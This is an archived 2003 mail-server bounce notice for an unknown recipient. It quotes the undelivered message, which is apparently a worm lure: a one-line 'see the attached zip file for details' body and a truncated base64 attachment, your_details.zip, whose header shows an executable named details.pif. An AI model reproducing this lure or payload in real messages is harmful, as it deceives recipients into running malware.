Returned mail: User unknown

[Mail Delivery Subsystem]

The original message was received at Fri, 27 Jun 2003 10:08:17 -0500
from 

   ----- The following addresses had permanent fatal errors -----
<address@hidden>
    (expanded from: <address@hidden>)

   ----- Transcript of session follows -----
mail.local: unknown name: mgivens
550 <address@hidden>... User unknown

Reporting-MTA: dns; mx1.pcretro.com
Received-From-MTA: DNS; 
Arrival-Date: Fri, 27 Jun 2003 10:08:17 -0500

Final-Recipient: RFC822; <mgivens@pcretro.com>
X-Actual-Recipient: RFC822; mgivens@pcretro.com
Action: failed
Status: 5.1.1
Last-Attempt-Date: Fri, 27 Jun 2003 10:08:17 -0500
> --- Begin Message ---
> --CSmtpMsgPart123X456_000_26D2697E
> Content-Type: text/plain;
>         charset="iso-8859-1"
> Content-Transfer-Encoding: 7bit
>
> Please see the attached zip file for details.
> --CSmtpMsgPart123X456_000_26D2697E
> Content-Type: application/x-zip-compressed;
>         name="your_details.zip"
> Content-Transfer-Encoding: base64
> Content-Disposition: attachment;
>         filename="your_details.zip
>
> UEsDBBQAAgAIAAAE2y789YYSm0ABAABSAQALAAAAZGV0YWlscy5waWbssmOMLkzbrnl3r7Zt27Zt
> 27Ztd6+2jdW2bdu27V5tc55vv9/eM5nJzPyZZP48R1I5qq46U7mqUrJa8YBfAAAA5J/x8wMAtAH+
> gwDg/521fwYcfgccoAlymrANSGaaUMXC0pnAwcne3MnQlsDY0M7O3oXAyJTAydWOwNKOQERemcDW
> 3sSUDhYWiuS/z9goBJnJGbDK/p8Dd8ckO+Qfu20bZGP/47Ftz+yk/97L/h+2zob9x5//XXfbNsz+
> /Y+VLI0t/ivzP3tTEAUAZIBAAAmZr3z/s7YHgAeCBgL7zyL+P1rRBgYAEP6Z1AH959b/NQf+z3sA
>
> --- End Message ---